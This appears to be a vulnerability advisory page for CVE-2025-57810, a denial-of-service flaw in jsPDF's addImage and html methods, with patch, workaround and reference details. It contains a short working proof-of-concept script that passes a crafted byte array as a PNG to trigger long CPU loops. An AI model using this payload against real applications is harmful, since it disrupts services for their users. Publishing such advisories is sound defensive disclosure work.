CVE-2025-57810

Description

### Impact User control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service. Other affected methods are: `html`. Example payload: ```js import { jsPDF } from "jspdf" const payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154]) const doc = new jsPDF(); const startTime = performance.now(); try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } finally { const endTime = performance.now(); console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`); } ``` ### Patches The vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@>=3.0.2. In jspdf@>=3.0.2, invalid PNG files throw an Error instead of causing very long running loops. ### Workarounds Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods. ### Credits Researcher: Aleksey Solovev (Positive Technologies)

How to fix CVE-2025-57810

To remediate CVE-2025-57810, upgrade the affected package to a fixed version below.

• —upgrade to 3.0.2 or later

Is CVE-2025-57810 being exploited?

Low — EPSS is 0.3%, meaning exploitation activity has not been observed at scale.

Affected packages (1)

• from 0, < 3.0.2

CVSS scores

References (6)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2025-57810
• PATCHgithub.com/parallax/jsPDF
• WEBgithub.com/parallax/jsPDF/commit/4cf3ab619e565d9b88b4b130bff901b91d8688e9
• WEBgithub.com/parallax/jsPDF/pull/3880
• WEB